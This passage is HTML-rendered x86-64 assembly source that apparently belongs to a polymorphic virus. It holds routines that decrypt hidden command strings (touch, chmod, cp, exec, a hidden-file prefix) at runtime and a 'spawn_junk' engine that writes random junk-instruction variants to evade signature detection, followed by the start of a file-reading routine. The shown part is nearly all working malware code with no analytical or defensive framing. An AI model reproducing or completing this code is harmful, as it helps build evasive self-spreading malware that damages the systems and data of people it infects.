    &lt;span class="nf"&gt;dec&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.d_loop&lt;/span&gt;

&lt;span class="nl"&gt;.d_done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; decrypt all strings at runtime&lt;/span&gt;
&lt;span class="nl"&gt;d_str:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touc&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cmhd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ch&lt;/span&gt;&lt;span class="nv"&gt;mod_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;tchh&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;touch_chmod_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;exec_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cpcm&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;cp_cmd_fmt&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxxe&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;vxx_str&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidd&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;hidden_prefix&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;d_strmain&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; 4 variants&lt;/span&gt;
&lt;span class="nl"&gt;spawn_junk:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;               &lt;span class="c1"&gt;; dst buffer&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;get_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;                &lt;span class="c1"&gt;; 4 variants&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.variant_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.variant_3&lt;/span&gt;

&lt;span class="nl"&gt;.variant_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rcx,rdx; xchg rcx,rdx; xchg rcx,rdx; pop rdx,rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x51&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xCA&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xCA&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5A&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_2:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rax,rcx; xchg rax,rcx; xchg rax,rcx; pop rcx,rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x51&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xC1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.variant_3:&lt;/span&gt;
    &lt;span class="c1"&gt;; push rbx,rdx; xchg rbx,rdx; xchg rbx,rdx; pop rdx,rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x52&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xD3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0xD3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5A&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; file I/O&lt;/span&gt;
&lt;span class="nl"&gt;read_f:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r14&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;            &lt;span class="c1"&gt;; save buffer pointer&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
